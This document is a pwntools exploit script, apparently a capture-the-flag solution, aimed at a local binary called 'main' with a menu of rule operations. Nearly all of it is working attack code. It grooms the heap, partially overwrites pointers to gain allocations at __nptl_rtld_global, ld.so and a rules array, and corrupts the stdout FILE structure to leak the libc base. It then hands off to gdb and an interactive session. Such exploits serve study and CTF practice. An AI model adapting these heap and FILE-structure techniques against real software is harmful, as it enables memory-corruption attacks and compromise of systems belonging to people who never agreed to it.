1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213
| from pwn import *
context.terminal = ['tmux', 'splitw', '-h'] tob = lambda x: str(x).encode()
sh = process("./main")
def add_rule(idx, size): sh.sendline(b'1') sh.sendline(tob(idx)) sh.sendline(tob(size))
def edit_rule(idx, data): sh.sendline(b'2') sh.sendline(tob(idx)) sh.send(data)
def delete_rule(idx): sh.sendline(b'3') sh.sendline(tob(idx))
def copy_rule(idx1, idx2): sh.sendline(b'5') sh.sendline(tob(idx1)) sh.sendline(tob(idx2))
def link_rule(idx1, idx2): sh.sendline(b'6') sh.sendline(tob(idx1)) sh.sendline(tob(idx2))
def setup_in_data(idx, data): sh.sendline(b'7') sh.sendline(tob(idx)) sh.send(data)
def setup_out_data(idx, data): sh.sendline(b'8') sh.sendline(tob(idx)) sh.send(data)
def pause_shit_for_a_while(t=0.1): sleep(t) sh.recvuntil(b'Your ID: ') _id = int(sh.recvuntil(b'\n', drop=True)) log.success("id: "+hex(_id))
add_rule(0, 0x520) add_rule(1, 0x550) add_rule(2, 0x520) add_rule(3, 0x520) add_rule(4, 0x580) add_rule(5, 0x510)
add_rule(6, 0x560)
add_rule(7, 0x600)
add_rule(8, 0x560)
add_rule(9, 0x520)
delete_rule(2) add_rule(6, 0x800)
delete_rule(5) add_rule(5, 0x510) setup_in_data(5, p16(0xffff&((0x93c8+(_id<<12))-0x20))) pause_shit_for_a_while() sh.send(b'\xe0') pause_shit_for_a_while()
link_rule(5, 2)
delete_rule(5)
delete_rule(7)
add_rule(6, 0x800)
delete_rule(0)
edit_rule(0, b'a'*0x58+p64(0x551)+p64(0)+p8(0xf0)) pause_shit_for_a_while()
add_rule(6, 0x520) pause_shit_for_a_while() delete_rule(4) pause_shit_for_a_while() link_rule(7, 6)
pause_shit_for_a_while()
edit_rule(0, b'a'*0x48)
pause_shit_for_a_while()
setup_out_data(6, b'a'*8+p16(0xffff&(0xa840+(_id<<12))))
pause_shit_for_a_while()
copy_rule(0, 6)
pause_shit_for_a_while()
add_rule(9, 0x580)
edit_rule(9, b'a'*0x18)
pause_shit_for_a_while()
for i in range(4): setup_in_data(3, p64(0)*2) log.info(f"Round {i}") pause_shit_for_a_while() delete_rule(3)
copy_rule(9, 6)
pause_shit_for_a_while()
log.info("allocate to __nptl_rtld_global") add_rule(9, 0x520) pause_shit_for_a_while()
link_rule(9, 6)
pause_shit_for_a_while() setup_in_data(4, p64(0)*2) pause_shit_for_a_while() delete_rule(4)
pause_shit_for_a_while()
copy_rule(0, 6)
pause_shit_for_a_while() log.info("allocate to ld.so") add_rule(9, 0x580)
pause_shit_for_a_while() link_rule(9, 6) pause_shit_for_a_while()
log.info("partially overwrite to get rules[]") edit_rule(0, b'a'*0x48+p16(0x8140)) pause_shit_for_a_while() setup_in_data(4, p64(0)*2) pause_shit_for_a_while() delete_rule(4) pause_shit_for_a_while() copy_rule(0, 6)
pause_shit_for_a_while() log.info("allocate to rules[]")
add_rule(9, 0x580)
pause_shit_for_a_while()
log.info("partially overwrite to stdout") link_rule(7, 6) pause_shit_for_a_while() setup_out_data(6, p64(0x1122334455667788)+p16((0xa780+(_id<<12))&0xffff)) pause_shit_for_a_while() setup_in_data(4, p64(0)*2) pause_shit_for_a_while() delete_rule(4) pause_shit_for_a_while() copy_rule(0, 6)
add_rule(2, 0x580) pause_shit_for_a_while() edit_rule(2, p16((0xa780+(_id<<12))&0xffff)) pause_shit_for_a_while()
sh.sendline(b'8') sh.sendline(tob(9))
sh.send(p16(0x8058)) pause_shit_for_a_while(t=1) sh.send(p16(0x5863))
pause_shit_for_a_while() sh.sendline(b'7') pause_shit_for_a_while() sh.sendline(tob(9)) pause_shit_for_a_while() sh.send(p16(0x5953))
pause_shit_for_a_while(t=1) sh.send(p64(0))
pause_shit_for_a_while() setup_in_data(2, p64(0xfbad1803)+p64(0)) pause_shit_for_a_while() setup_out_data(2, p64(0xffffffffffffff)*2)
context.log_level = 'debug' sh.sendline(b'9')
libcbase = 0 for i in range(6): libcbase = u64(sh.recv(8)) log.success(hex(libcbase)) libcbase -= 0x21a803 log.success("libcbase: "+hex(libcbase))
gdb.attach(sh)
sh.interactive()
|